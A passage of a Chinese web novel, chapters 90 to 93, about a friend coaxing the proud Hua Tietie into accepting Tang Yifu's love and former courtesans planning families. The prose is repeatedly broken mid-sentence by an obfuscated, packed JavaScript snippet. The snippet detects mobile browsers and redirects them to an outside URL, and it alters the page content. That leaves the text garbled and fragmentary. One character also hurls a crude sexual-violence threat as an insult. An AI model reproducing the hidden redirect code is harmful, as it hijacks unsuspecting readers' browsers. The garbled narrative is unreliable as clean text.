花铁铁本来气得对我横眉怒指,要和我犟嘴,甚至打架的。但看到堂邑夫对她的喜欢,让我吃了巨大一瘪,就暗爽起来。 她虽然不喜欢堂邑夫,但这会儿有人喜欢,堵我的嘴,还是我最信任最亲近最得力的人,她就很有面子。 花铁铁抬着高傲的头颅,对我扬了扬眉,用鼻孔看我,满脸挑衅,显然在说你才是没人喜欢的那个。 与花铁铁对峙的同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看着他们三个离开的背影,我感慨道:“看看看看,我大螳螂多好一男的,要相貌有相貌,要品行有品行,要能力有能力,才入学宫半年,就跻身殿试。多少世家姑娘看上了,哭着喊着要嫁呢,可他心里就只有你。 你看不上归看不上,还总是高高在上,拒人千里之外的样子,动都不动就甩脸子,糟践人家真心,践踏人家感情,也不怕遭报应。他得了什么好东西,不先想着你啊,你几乎都收了,那你就好好收呗,非要折腾人。 每次都是一上来推推拒拒,恶言相向,最后又是嫌弃又是鄙夷的收下。就比如今天的糕点,这不是作践人,这是什么?我话撂这儿,我大螳螂就是喜欢你爱你,你才有机会这么待他,是他的一颗真心抬举你,把你捧那么高的,但凡他把心收回去,你……哼,你自己想去吧。” 我说的道理花铁铁岂会不懂,刚才她依仗堂邑夫的喜欢胜我半筹,现在就该认下这输我的半子。但她高傲,仰着头一言不发,不服气的样子,满脸堂邑夫自找的,与她无关。 她没想好如何反驳我,却也不屑说一些那种:自己本就高贵,不必堂邑夫自甘下贱费心抬举,或者谁叫他喜欢我之类的低级言论,反唇相讥。 看着远处三个认真挑选最美的鲜花的男子,平安柔声道:“爱是自由灵魂的沉沦,是洞悉你的所有,依旧坚定深爱。铁铁,其实我也一直有话想对你说,虽然你不喜欢堂大哥,但确实没必要对他那么冷酷无情,你甩他脸子的时候,我看着心里也是很难受的。 你给的伤害,冷漠,鄙夷,不屑……他总是笑脸相迎,从来照单全收,可你该知道,堂大哥不是没有血性的男人,只是在爱你的时候收起所有芒刺,对你包容呵护,极尽温柔。 喜欢一个人是没办法控制的,他只是喜欢你,他并没有罪大恶极。他是真的真的很爱你,满心满眼都是你,可你所有的回应,都像夏天里一道冰刃,狠狠刺痛他,让他的付出变得毫无意义又可笑,他却隐去伤痛和委屈的痕迹,依然选择小心翼翼又用力爱着你。 要知道被人喜欢是这世间最值得感恩的一件事情,尤其是被这样热烈,赤诚,纯洁无瑕,不掺半点虚假的喜欢。 你这么强,轻易不会有什么困难,但你状况百出啊。可不论什么时候什么状况,再尴尬再窘迫,他都喜欢你。铁铁你有没有发现,因为他的这份喜欢,什么尴尬什么窘迫都不值一提了,你就是闹再大的笑话,也会被这份爱的光辉隐去,他在你身边,深情的望着你的那一刻,便没人觉得你好笑,就像刚才。 细细想来,他真的好体贴好细心好周到啊,他给你的喜欢给你的爱,真的好拿得出手嗳,铁铁,即便我有了清哥哥,也会忍不住羡慕你呢!” 90. 撮合 说完,平安惊觉方才的话似有不妥,又十分紧张地补了一句:“哦,我夸他百般好,没有道德绑架的意思,没有因为堂大哥喜欢你,就逼着你一定要喜欢他的意思,只是想说,你可以改变一下对他的态度,相处方式友好那么一点点,别,别太伤人……” 花铁铁点点头,要平安不用那么紧张,她理解平安要表达的意思。平安松了一口气,欣慰地看了看我。 我们沉默了一小会儿。远处男人们玩得正欢,一阵阵红雾炸开,像白昼的烟火,让那边的女人们也欢呼不已,这让男人们更加兴奋。两处人隔得很远,但有些微妙的东西在流动,诚如花铁铁问的那样,男人们都喜欢那样的女人。 我看了看自己的小胳膊小腿,有些事果然像鱼刺一样,时不时就扎一下人心。唉,李椒会长大,薛环也会长大,他们都会成为真正的男人,而我永远变不成女人…… 我想,花铁铁问出那个问题,重点不是为什么男人都喜欢那样的女子,其实是在抱怨,在反问她明明那么漂亮,那么优秀,总能轻轻松松惊艳那么多人……为什么她喜欢的男人到死都没看破她的心意,到死都没喜欢上她呢? 而她也一直没再喜欢上旁人,她心中该有多么疑惑和孤独啊。 都是情窦初开的年纪,这些情绪和想法,我很是理解。 一枝独秀不是春,百花齐放春满园,女人本就是多姿多彩的,我从不认为女人应该被定义成讨男人喜欢的样子,各花入各眼才对,欣赏不来,就别打搅,做一个遗世独立,孤芳自赏的女人未尝不可。 花铁铁这样的姑娘本就是人间极品,喜欢她爱她,是需要胆识和气魄的,一般男人没有能力比肩也没有毅力征服。不是花铁铁没人喜欢,实在是他们喜欢不起,配不上。 对大多数男人来说,姑娘爱起来,太花心思太辛苦,他们就会退缩,更愿意顺从自己□□最原始的冲动,去喜欢自己够得着,随意采甚至任意换的花儿,这种行为根本不是花铁铁理解的喜欢(真爱)。 花铁铁最近因为郑清和柳延年接连获得学宫入学资格,心情多少有些抑郁,人在不快乐的时候,不会努力想些快乐的事儿,反而会轻易陷入内心最煎熬的过往。 我本可以借这个机会点花铁铁一下,打开她的心结,但杜晦已经死了,拥有现在和未来的是堂邑夫,花铁铁对他的态度,一贯高傲冷漠。 过犹不及,时间长了,我大螳螂难保不会由爱生恨,以后对着我们的时候,不再阳光灿烂,反而阴郁淡漠就不好了。我可不想这个眼神澄澈,满心爱意的少年郎,就这么被消磨不见! 再者堂邑夫是我一手带出来的,心机手段都是上成,他又那么痴情,断不会轻言放弃,一旦用到花铁铁身上强制爱,她虽是玄止境,却根本不够堂邑夫这个九品玩的。 花铁铁是我的挚友,堂邑夫是我的心腹,我应该帮他们规避掉不应该发生的风险。而且,花铁铁也放纵够了,她是时候该收敛一下了。 想到这里,我缓缓说道,“这么多年,你身边的男人要么对你敬而远之,要么没办法反抗只能屈服,我大螳螂这样的,属于你身边绝无仅有的吧?明知不可为而为之的执着与胆识,不是谁都有,这样的人值得尊敬,你可以不喜欢,但也要懂珍惜。 铁铁,我们没有要你接受堂邑夫,只是不要辜负爱,至少要看到堂邑夫是你身边唯一的勇敢,他是个很好的人,做事认真,进退有度,需要他的时候,他能拼尽全力,不惜命;帮不上忙的时候,绝不添乱拖你后腿,从不令人反感生厌。 若你此生再不会爱上别人,无妨置身其中去旁观这份爱,甚至去享受这份爱。就像那份糕点,别糟蹋,好好收下,借花献佛也好,和大家一起好好分享着吃,他开心,你开心,我们大家都开心,不是很好吗? 唉,我不想说的太多,否则真的像是用道德绑架你,违背你的意愿强逼你。我就最后再说一句,死生无常,误了花期,错过爱意,才是最大的遗憾。” 我最后一句话里暗指的就是杜晦,她曾因怯懦错过,而遗憾一生的那个人。也更表明堂邑夫在感情上是比她勇敢的存在,我想着一点足以让她重新审视堂邑夫。 花铁铁听懂了我的暗示,身子抖了一下。 平安隔着围帽的薄纱,与我对视一眼,拍了拍花铁铁的肩膀,坚定地看着她道:“铁铁,你是自由的鸟,高贵,坚韧且无畏,不会因为接受爱意,便被俘虏,大胆一些吧!” 有的时候鼓励人的话,若是抓住了痛脚,反而事半功倍。花铁铁这种素来胆大的人,往往并非真正的无畏,最怕的便是让人觉得自己不够勇敢。尤其这些话,是从平安嘴里说出来的。 花铁铁眼神闪烁,内心的振动可见一斑。她低头沉思良久,再抬头,朗声把高岗上采花的堂邑夫叫了过来。 堂邑夫颠颠跑回来,单膝点地,蹲下身子,星眸里满是柔情,笑问:“什么吩咐?” 花铁铁仰着头盯着堂邑夫,仔细看了一会儿,确定自己只是不喜欢他,并不讨厌他,确实没必要那样对他。 “我总那样对你,你还上赶着,不觉得自己下贱吗?” 堂邑夫哈哈一笑:“怎么会下贱呢,爱是这个世间最高贵的东西,我喜欢你我爱你,我对你好,是我想对你好,我不想藏着掖着,就只想对你好。哈,这人生无常,我怕有一天……我没办法再对你好了,还没给全你,没给够,却没机会了,多遗憾啊……” 花铁铁闻言,看着远方,花是香的,草是绿的,云是白的,清风拂面……不管是高高在上的天,还是低低在下的尘,万物每时每刻都在给出自己的美好,确实该好好享受…… 花铁铁终下了决心,清了清嗓子,故作轻松道:“嗯嗯,那个,我,我允许你喜欢我了,哎哎哎,先别急着高兴,我只是允许你喜欢我了,又不是要和你相好了,你可别弄差了。” 堂邑夫按捺住兴奋,点头如捣蒜,眼圈微红,甚至有些许泪花。啊,千年寒冰融了一角,足够他欢喜异常! 花铁铁见小小的应允,他便这么大反应,惊讶之外,也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136449|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感动,强装镇定道:“嗯,以后你对我的好,我可以试着接受,不再冷漠抗拒,但我要先再次声明,我依然不喜欢你,接受只是成全你的喜欢,将你从苦恋中解脱出来,不意味着我要和你做情侣,你不要痴心妄想,不要蹬鼻子上脸,分寸呢你自己把握好,如果一旦过界了,我就立马收回我的准许,还会变本加厉的。” 虽然有小小的失落,但这些对堂邑夫来说,已经是恩典一样的回馈了,我也替他开心。 牛不喝水强按头,但牛总要喝水。强扭的瓜不甜,但总有瓜熟蒂落的一天。人只要活着,就什么都有可能,还是那句话,堂邑夫拥有现在和未来,定会守得云开见月明。 高兴之余,也有些许酸楚,我把堂邑夫培养的这么好,最后竟便宜了花铁铁,哪怕她偷着乐一乐,我也不会觉得明珠蒙尘,真是不识货啊! 唉,说到底也不怪她,谁叫我们年少时遇见的人太惊艳呢! 杜晦……薛环,薛环,杜晦…… 原本怀念的是杜晦,脑海中却闪现出薛环的脸,然后,两张俊美的脸交织重叠……我的心乱了。 我有些疲惫,趴在几案上不想动,叫花铁铁替我跟堂邑夫过几招,花铁铁欣欣然爽快答应,以前她是万万不允的,即便我求她,她也不愿意。她就是这种性子,只要下了决心,就不会扭捏,更不会反悔。让人头疼,也让人喜欢。 她大长胳膊大长腿,帮助堂邑夫练习的效果,比我好多了。柳延年和郑清采了花,就赶紧回来,一边观战,一边分析招式,一边比划。 花小楼的姑娘们也采了好多鲜花,邀请我和平安过去一同插花,平安问:“张娘子怎么没来?”张娘子的插花手艺,可是一绝,便是这些山间草地的野花,她插出来也总是意境不凡,很耐看的。 “就是女人那些事,肚子疼,在楼里歇着呢。”林娘子道:“长安小郎君,给我看看吧,我那几天也不舒爽。” 平安带着几个姑娘,去营地找了一些空酒坛子,到湖边清洗…… 剩下的姑娘们抢着让我把脉,姑娘们大都体寒,血瘀。来月事时,总是疼得辗转反侧,夜不成寐。 我之前给她们开了药,她们吃了见效,可这病,需要静心调理,安心养着,她们又哪里静的下来呢,于是便好好坏坏,坏坏好好…… 我叫她们别一有了起色,就停药,坚持吃一段时间。她们只说自己心大,不疼了,一高兴就什么都忘了。 这些姑娘的心大,哪里是什么心大啊,不过就是她们遭受了不幸,人家作践鄙视她们,她们自己也嫌自己脏,不仅不爱惜自己的身子,内心倒比旁人还厌恶痛恨万分。 那几日疼得厉害的时候,她们身体上无法忍受,心理上又觉得活该,还隐隐生出一种不自知的畅快,于是便任由身子好好坏坏,反反复复,如此自虐,身子又怎么会好呢? 我知道她们的苦衷,并不责怪她们不遵医嘱,只劝慰关切,耐心开方子,叫她们回去后,遣楼里的小厮丫头拿着,到苏和的医馆抓药,便不再多说。 91. 生养 平安她们抱着坛子回来了,姑娘们一起动手插花。 一边插花,一边聊起来,姑娘们疑惑明明自己已经很注重保温了,且天再热,也不贪凉了,为什么依旧体寒。 人呐,都是怕死的,姑娘们自厌自虐是一回事,但到底做不到自暴自弃,没有多爱惜自己,但也不会任由自己身子拖成大病,彻底垮掉,可能不太遵医嘱用药,但平时的保养还是有的。 我道,其实女子体寒,大多是心寒导致的,《黄帝内经》有云,心寒则肝郁,肝郁则脾虚,阴阳失调,气血不足,脉络不通,最终寒毒入体,郁结成疾。 心属火,一旦受损,便再也起不到温煦身体的作用,姑娘们便常年手脚冰凉,月经不调,要么腹痛难忍,全是血块,要么数月不至,淤堵不通。 只需要将心中堆积的情绪排解出去,开开心心,畅通心神,身体才会健康顺畅,不药自愈。 可这些姑娘们年幼便遭遇大变故,一朝零落成泥,任人践踏,积年累月的紧张焦虑,遇上凌虐羞辱,难免生闷气动肝火,久而久之,伤了心了,很难好的。 姑娘们闻言纷纷落泪,既感伤自己的经历,又感动这世间还有人能这么体恤理解她们。 “咱们的心这辈子都好不了了,但我尝闻说,女子若是生产,做好月子,身上这些难以启齿的病也会自愈。”说话的是裴娘子。 我点点头,月子做好了,倒是真能修复好身体。 众人都看了一眼万三娘子。这里面只有她是怀过孩子的,虽然孩子没保住,但她小月子,养得极好。 万三是幸运的,她自进了教坊司,便被催郎君包养,好生照护着,除了那次小产,再无愁心事,她身体健壮,月事通畅,少了这等煎熬苦楚,姐妹们都羡慕。 想起那个孩子,万三悲痛万分,一把将我抱住低声啜泣,“要是我的孩子能生下来,今年也十岁了,也该是这般漂亮可爱,我的孩子……长安君,长安君,你给我做儿子吧,我有很多钱,我可以养你……” “也给我做儿子吧,我也能挣钱,我能挣好多好多钱养你……”“我也能,我也能……”姑娘们纷纷涌上来,将我团团围住,挣相拉扯着,把我往自己怀里抱。 “停!”我厉声道:“简直胡闹!” 姑娘们愣住,慢慢撤了回去。怯怯地看着我,犹如看那些生气的恩客一样,忐忑,惴惴。我顿时心生怜悯,这些所谓的察言观色,已经成为姑娘们的本能了。 只有万三依旧抱着我,哭着恳求道:“你叫一声娘,就叫一声,我听听,权当是我那孩儿叫我了……” 其他姑娘也都眼巴巴的看着我,期盼跟着听一声娘亲。 “……想要孩子自己生。”我咬了咬牙,狠心道。 林娘子一脸凄怨,说她们何尝不想生呢?姐妹们小的二十六七,大的也已经三十岁了,十多年的积蓄都用来赎身了,手里根本不剩什么。 原本以为脱了贱籍,就能从良,可从良哪有想得那么简单的。高不成低不就的,好男人从来到不了她们,她们能嫁的又是什么好人呢?嫁人对女人来说就是改命,是把自己的命交给了那个男人。 她们好容易才从一个泥潭里爬出来,一旦选错了男人,从良失败,那便是一生的凄苦,倒不如在花小楼里安稳度日的好。 花小楼的姑娘是李大娘子从南边带过来的,都是自由身,在花小楼她们没有约束不受剥削,只要每月交上花小楼规定的提成,她们就能出入自由,倒也自在。 平时在楼里养着,吃穿用度和大家闺秀一般无二,晚上出来卖卖酒水,弹琴唱曲,也能高歌一舞,赚点赏钱,图个开心。想多赚点,挂牌出去,留宿恩客,也全凭姑娘们自愿。 “孩子谁不想生啊,可是眼下生了孩子,身体松了垮了,怎么挣钱呢。若是抓着最后几年青春挣钱,便又错过了生产的好时候,唉,真是愁煞人了。” 姑娘们悲哀不已,这是她们眼下的大难题。 “就是生下来又能怎样,养在楼里吗?” 这又是一个难题,她们在外人面前可以不要脸,但在孩子面前还是得体面的,总不好叫儿女们,从小就见惯她们迎来送往的样子。 再有就是她们虽然脱了贱籍,但是没嫁人落户,就没有良籍,便算不得从良,她们生下来的孩子,没有良籍户主当爹,便也不是良籍。 若生的男孩还好,她们有钱,等男孩成年了,花钱落户入了良籍,一家子就都有了着落,无非就是等上十六七年而已。但若是女孩,就很麻烦了。再者生男孩也不是万事大吉,十几年后什么样子谁说的准呢?姑娘们忧心…… “如此,把孩子生下来做什么?” 姑娘们的心沉入谷底,朗朗乾坤,炎炎夏日,身子却越发凉了。哪还有什么心思插花啊,平安也意兴阑珊,将花儿们一股脑插在坛子里,弹了一些水珠…… 姑娘们看着这些花,就像在看自己,即使坛子里水是足的,叶子上也弹了水珠,也会比原野上的花枯萎的更快一些。而且它们根本没办法,结出花籽,延续来年的新生。 万三将我抱在怀里,不再强迫我喊她娘亲,只是像母亲哄孩子入睡一样,哼着歌儿,晃着身子,一下一下轻拍我。我竟有些沉迷…… 花铁铁叫停了堂邑夫,跑过来,道:“姑娘们你们想生孩子尽管生,户籍什么的不用操心,都挂在堂邑夫名下。” 大家全都一愣,但见花铁铁认真的样子,知道她不是在说笑。 林娘子最先反应过来,“使不得使不得,堂郎君是学宫学子,以后大有前途,这如何使得?” “我说使得就使得!”花铁铁说完回头看向远处的堂邑夫。 堂邑夫笑着点点头。 刚才柳延年喝茶的时候听到花铁铁说姑娘们的孩子都记到堂邑夫名下,一下子就喷了,这会儿看到堂邑夫欣然答应,简直目瞪口呆,“这你都愿意,你到底对她有多爱。” “用你的话就是,超级爱!”堂邑夫接过柳延年递过来的毛巾擦了擦汗,喝了些茶水,拍了拍柳延年:“准备好红包随份子哈。”然后对着一边的郑清道:“你也是。” 郑清呵呵一笑,点点头。 “随份子!”柳延年却开始算记起来了,觉得那么多孩子,这是个好买卖啊,便道:“要不你分我一些孩子?” 花铁铁回头瞪了柳延年一眼,道:“你能当什么好爹?”不等柳延年反驳,便警示道:“这不是热闹别凑!” “好,那我老实准备红包好了吧。”柳延年不悦道。 姑娘们自然喜出望外,仿佛重获生机,“可是孩子养在哪里呢?”总不能也住在楼里啊。 此言一出,姑娘们立即像被迎头泼了凉水一样,瞬间蔫了。 平安道:“这也不难,大家可以凑钱买一位大宅院,生孩子坐月子养孩子都在那里,等孩子长大了,在宅子里办家学,以后或科举入仕,或跟着花铁铁堂大哥,总归都是好出路。” 买宅子也得是有户籍的男人出面买,孩子都挂在堂邑夫名下了,那宅子便也用他的户头即可。我的安园便是如此。 姑娘们心动,但又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“去找方连生啊,你门里的产业只有他能吃得下,与其零散卖了,或者压价贱卖了,不如卖给他,以他和你的交情,他还能出高价多给你些。”我道。 “就是不想这样,我才叫我小师弟慢慢处理的。”花铁铁道。 “是慢慢处理,还是怕方连生察觉,偷偷处理啊?你小师弟可是金算盘,是做生意的好手,若不是你有明令掣肘,多少产业他处理不完啊?” 花铁铁不说话,我们俩蹲在陡坡下,倒真像是在拉屎。 “铁铁,做大事不拘小节,你能接受堂邑夫的好,也该能坦然面对方连生,飞个传书过去给你小师弟,让他去找方连生吧。要不就你这性子,等着等着自己等不及了,到时候必定催促你小师弟赶紧把那些产业全都贱卖了,能卖多贱买多贱,那得损失多少啊,咱们做的事,可得不少钱呢!” “而且,你小师弟做事再滴水不留,这么大家业,怎么可能悄无声息的处理干净呢?方连生察觉是早晚的事,不如尽早找他出手。哎,方连生不是一般人,你在北汉呆了这么久,说不定他早就心知肚明了。没主动找上门帮你,是怕局你面子。你小师弟那个鬼机灵,处理的再慢也不至于这么慢,说不定也等你下令呢,你可赶紧的吧!” 花铁铁闻言,捡起地上的树枝,使劲儿剜着杂草,直到抠了个大坑,才叹了口气,道:“怎么除了他,谁都差点意思呢!” 花铁铁眼里的方连生差什么意思我不想探究,但杜晦未必就完美,只是“情有独钟就这样,一旦入了心,其他人就都是路人。” “也不知道怎么了,最近啊,我看谁都能想起他。”花铁铁有些哽咽,“不,我现在不光看人能想起他,我看花看草看蚂蚁看石头……都能想起他,就连看见薛环那小子,也能想到他。我好后悔啊,后悔当初应该劝住他,留下他,求他,别死……” 92. 心气 后悔!?花铁铁说后悔,还真是破天荒头一回。她竟爱的那么深!? “留不住的!他要死,谁拦得住!”我起身抱住花铁铁,轻轻安抚,柔声道:“自他走后,山河远阔,人间烟火,无一是他,无一不是他。这是平安手札里的一行残诗,从前读,只觉矫情,如今倒也能体会一二了。” “我更喜欢,还好思念无声,否则震耳欲聋,这句。”花铁铁苦涩一笑,“真是,日日夜夜,时时刻刻,好吵啊!吵得我心神难宁!” “……你也偷看我妹妹的手札了?” 我顿时感觉脊背的寒毛都炸了,回过神来的花铁铁也好不到哪里去。 我和花铁铁赶紧一个对视,然后会意点点头,这件事可不能叫平安知道,否则我们死定了。 她的那些手札,原本我们也不打算偷看的,可她神秘兮兮的,藏得太小心太谨慎。我们实在忍不住好奇,就…… “下不为例,这事儿,咱们以后不能再干了!”我又道:“铁铁,那些文字太有力量,太容易感染人,你情窦初开,他又死了,那些文字不仅不能让你解脱,反而更加让你深陷其中,再别看了,也赶紧把他忘了吧!别执着一个死人。” 花铁铁咬了咬嘴唇,点点头。 我对花铁铁说,我们都是做大事的人,不能被儿女私情牵绊。又叫她放下成见,赶紧把产业转手给方连生,我们正是用钱的时候,他给得越多越好,算他一个功德,来日统一江南,给他些恩惠,这情便还了,也是两不相欠。 花铁铁不再犹豫,一个飞身离开,去做她该做的事。 ****** 花小楼的姑娘们有了盼头,感觉精神抖擞浑身是劲,畅想着以后得美好生活。林娘子呵呵笑着,说:“姐妹们,我且随着李大娘子去洛阳安置,等一切妥当了,我便回来和你们一起过好日子了。 不过,你们可要盘算好了,别把日子过浑了,生孩子也别赶在一起生,楼里一下子空了,万大娘子的买卖便不好干了。 你们的恩客也有重了的,要孩子这事儿也得分分清楚,别以后一起长起来,有了感情,想做亲家了,却发现是一根藤上的,就不好了。” 那岂不是窝囊了!?姑娘们立即惊觉,赶紧相商对策,她们打算生孩子这事儿,抽签来,要孩子这事也都坦诚布公,互相报备。她们还按照年龄,排出大小,以后就是一大家子亲姐妹了。 努力生活,生活才会精彩纷呈。 姑娘们弹唱着《同簪》、《好姊妹》。曲调欢快,情真意切…… 万三用手指绞着耳侧的头发盘算着什么,忽而笑语盈盈暗地叫柳延年过去喝一杯,柳延年以为她又向他要曲子,谁知他刚坐下,万三便从身后一把按住他道:“柳郎君出息了,以后入了学宫,侬家怕是再也攀不上了。我们姊妹原也是官家小姐,娇养大的,我更是最难养的花,水少了活不了,水多了活不了,晒不到太阳就会死,晒多了也要死……” 林娘子:“那你就去死吧,有什么话,要这么弯弯绕绕的说?” 被搞得云里雾里的柳延年也侧头对着万三,点点头道:“三三,你有什么就直接说吧。”你要什么曲子,我都给你写,柳延年这样想着。 “那我可说了哈。”万三垂眸,仿佛实在难以启齿,在三下了决心才柔声道:“我等沦落风尘,也实属无奈。有幸和柳郎君相逢一场,本不该奢求,但愿郎君可怜可怜侬家,借侬家一个种,给侬家一个孩子吧。” “什么?!”柳延年大吃一惊,挣扎着要起来,却被万三死死扣住,她们这个行当是有些技巧在身上的,男人一旦被缠上,轻易解脱不得。 “嗯~~~”万三娇滴滴的吟着,手已经不自觉的滑入柳延年的衣领,“郎君莫慌,三三新调的口脂,特意多加了蜜,你尝尝甜不甜?” “不不不,啊哈哈哈……”柳延年拒绝,但是万三的小手在他胸前游走,挠得他痒痒的难以自持,“别,你这手……” 万三滞了一下,赶紧抽出柳延年怀中的小手,然后打了一下,蹙眉娇嗔道:“呀,该打,叫你不老实。”旋而又靠了上来,“郎君,郎君,尝一下,就尝一下……”万三纠缠着柳延年。 柳延年向姑娘们求救,只有张娘子矜持道:“三儿啊,这都要打秋了,你还在这里发春。借种,你悄悄的借,这么明目张胆,柳郎君可怎么答应你啊,应了你,其他姐妹是不是也要应啊?” 这句话,并没有阻止万三,反而点醒了众位姐妹,姐妹们一下子蜂拥上来,嚷嚷着“我也要,我也要……我的口脂最甜,我的甜,郎君尝我的,先尝我的……”于是,搂腰的搂腰,抱腿的抱腿……大家争抢着柳延年,都要他尝一尝自己唇上的口脂。 柳延年自然知道尝不得,一旦尝了,便是丁香舌儿入了口,缠绵悱恻到天明了。 他咬着唇艰难躲避着姑娘送上来的樱桃小口,奈何身上的痒痒肉把握在姑娘们的手里,他忍不住发笑,身体扭动着,不住地打挺,“啊哈哈哈,不要,啊不好,啊哈哈哈……”…… 花铁铁回来正好看见那一幕,上去就是一脚,把柳延年踢翻在地,柳延年转了几个旋子,蒙圈地爬起来,“什么情况?怎么回事儿?”他感觉自己仿佛在做梦,上一刻他虽不情愿倒也是温柔乡,下一刻花铁铁这个母夜叉就呲着獠牙闪现。 “嘴上说着不要,笑的却那么浪,这些姑娘都是我的人,你敢欺负她们,我宰了你!” 姑娘们惶恐的扶起柳延年,跟花铁铁解释一番,是她们跟柳郎君闹着玩,并非柳郎君招惹冒犯她们,此事才作罢。 花铁铁见是坏了姑娘们的好事儿,便不好意思的转身走了。 柳延年也逮着机会落荒而逃。 平安只当看了场笑话,捧腹笑完,才道:“这事儿怕是不成的,花郎不会愿意的,他给南唐摄政王妹妹欺负狠了,这种事儿他宁死不屈,姐姐们还是放过他吧。” “唉,那就放过他吧。”万三一脸惋惜。 姑娘们也都是如此,其实柳延年的事儿,她们何尝不知道呢,只是想试一试罢了,毕竟百炼钢也怕绕指柔。 惠王身边的护卫把柳延年的飞袋送回来了,还剩了一些,于是花铁铁就开弓练习。 姑娘们看着英姿飒爽的花铁铁,无不折服,感叹她一身的好武艺。 万三道:“咱们也学啊?” 姑娘们自讽地哼了一声,道:“还是算了吧,我们已经没有心气了,没有心气了便吃不得苦了。”学武艺要吃苦的,她们万万吃不得那个苦。 平安问怎么就吃不得苦了,她们这一生好技艺,学起来,不也得吃尽苦头吗? 姑娘们笑了,说她们这一身技艺,哪是在教坊司学的,那是做官家姑娘的时候,大家族里自幼培养出来的。她们当初一挂出牌子来,便都是南唐各地顶尖的花魁,教坊司里教出来的,只配给她们暖场子。 平安这才知道,她们之前并不在一处,而是分散在南唐各处。李大娘子把她们聚在一起,带到大汉来,倒真是劳顿周折,煞费苦心。所以她们才忠心耿耿,唯李大娘子马首是瞻。 姑娘们笑着说看着花姑娘的武艺,眼馋得紧,但真是有心无力呢。 平安心头一紧,想想也是,她们原本高高在上,心气也高, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137180|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学什么都不在话下,样样学,样样精,可是进了教坊司,挂了牌子,精神头一下子就垮了,女人没了贞洁,就像男人去了势,一辈子挺不起腰板,提不起劲儿。 人呢,很坚强,也很脆弱,最重要的就是这口心气,心气散了,便做不成事儿了。平安感叹,想着若是自己,怕是连活下去的劲头都没有,哪还有心思学这学那呢?她们还一心为自己挣下一个好盼头,谋划着生儿育女,好好生活,已经非常令人钦佩了。 万三说她去学,学好了一身本事保护姐妹们和儿女们。 姑娘们就哈哈笑着说:“那感情好,以后我们可就指望着三三保护了。” 万三一脸不辱使命的样子,拉着平安去找花铁铁。 平安帮着万三说明来意,花铁铁一口应下,但她此时射箭正在兴头上,停不下来,就叫万三先去一边儿蹲马步。 平安怕万三孤单就陪在一边也蹲起马步来。 堂邑夫见万三马步蹲的不标准,就好心上前指导,让万三腿在分开一点,身子再下沉一点,万三调整了一番,还是不到位,堂邑夫不好用手掰万三的大腿,就用自己的脚,在万三的小腿上一边踢了一下。 男人总是高估姑娘的体力,尽管堂邑夫觉得自己没用力,但万三还是感觉,自己的小腿被铁棒敲断了一般。瞬间支撑不住身体,跪坐了下去,正好骑在堂邑夫的脚上,双手也不自觉的抱住了堂邑夫的大腿…… 两人一个仰着头,一个低着头,对视着愣住了,麻酥酥的触感,让两人不禁红温。 远处的姑娘们倒吸着凉气,不等花铁铁,柳延年,郑清他们朝这边看,堂邑夫迅速抽离,转身飞跑去捡花铁铁脱靶没射中的小飞袋。 平安扶着羞臊的万三起来,邀请她去湖边散散步。 ****** 李大娘子和万大娘子来了,被惠王召见,去帐子里觐演。上位者一高兴,就许姑娘们参加一会儿的野宴。 我从皇帝刘景的帐子出来,正赶上韩燕熙他们打猎回营,叫我过去提两只野鸡,拿回家给平安补身子。 湖边和平安手牵手散步的万三,大老远就朝我招手。韩燕熙他们奇怪哪来的漂亮姑娘,不等发问,便见万三一边跑过来迎我,一边大叫着:“儿子,我的儿子……” 韩燕熙他们看了看万三,又看了看我,我脑瓜子一疼,眼睛一转,厉声呵斥离我还有十步之远的万三:“哪来的臭婊子,滚,再敢胡说八道,找一百个男人轮你一百次!” 万三站住脚,哀怨的看了我一眼,行了一礼:“借长安君吉言。”说完就跑去姑娘那边坐下躺倒。 韩燕熙他们看着远处的姑娘们,有几个他们在花小楼是见过的,瞬间了然,便心知肚明的避讳着,不再朝那边看。 平安走过来责怪我,娇嗔道:“长安,你这样说话太伤人了些。” 明明是万三冒犯在前,我是随随便便就给人当儿子吗?我并没有挑明用意,只没好气的说:“韩燕熙给你的鸡。”说罢,将手上的鸡提了提,给平安展示。 平安害怕的向后退了一步,却不忘向韩燕熙行礼言谢,见韩燕熙上前一步,便退后两步,叫我跟着她赶紧离开。 平安去万三那边看情况,却不料,万三根本没放心上,林娘子要平安别担心,长安君那番话对她们来说真是吉言了。一百个男人一百次光顾,当真是生意兴隆了。 林娘子话音一落,众位姑娘们就笑起来了,还数万三笑得最欢。倒把平安弄糊涂了,我把她叫回来。 那些个官人郎君,可不是她们能招惹的,早早亮明身份,那是在保护她们呢。姑娘们都懂。 93. 三三 堂邑夫和郑清把野鸡放血,然后挂在围栏上,等回去后再脱毛。要是不放血,血凝固在肉里,肉就会腥臭,怎么炖也不香了。 日落西山,营地里燊起了篝火。 ****** 